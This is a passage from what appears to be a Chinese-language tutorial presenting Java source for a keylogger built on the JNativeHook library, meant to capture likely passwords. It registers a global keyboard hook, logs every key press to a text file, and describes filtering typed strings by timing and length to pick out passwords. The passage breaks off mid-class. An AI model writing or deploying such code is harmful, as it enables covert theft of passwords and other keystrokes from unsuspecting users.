最终实现:
借助于JNativeHook.jar包,通过分析输入字符串间相邻字符的时间间隔,这里设置为小于3s,并且密码的位数一般为4位到20位之间(可以自行调整),满足这两个条件就将这个字符串保存起来存在一个txt文件中。
首先是进行键盘监听注册
public class KeyloggerDriver {
public static void main(String[] args) {
try {
GlobalScreen.registerNativeHook();
}
catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
}
}
其次是描述触发行为
public class Keylogger implements NativeKeyListener{
private Logger logger;
private static final String path = "C:\\Users\\10401\\Desktop\\log.txt";
public Keylogger() {
File file = new File(path);
if(!file.exists()){
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
}
logger = new Logger(file);
}
@Override
public void nativeKeyPressed(NativeKeyEvent arg0) {
logger.inputLog(arg0.getKeyText(arg0.getKeyCode()));
}
@Override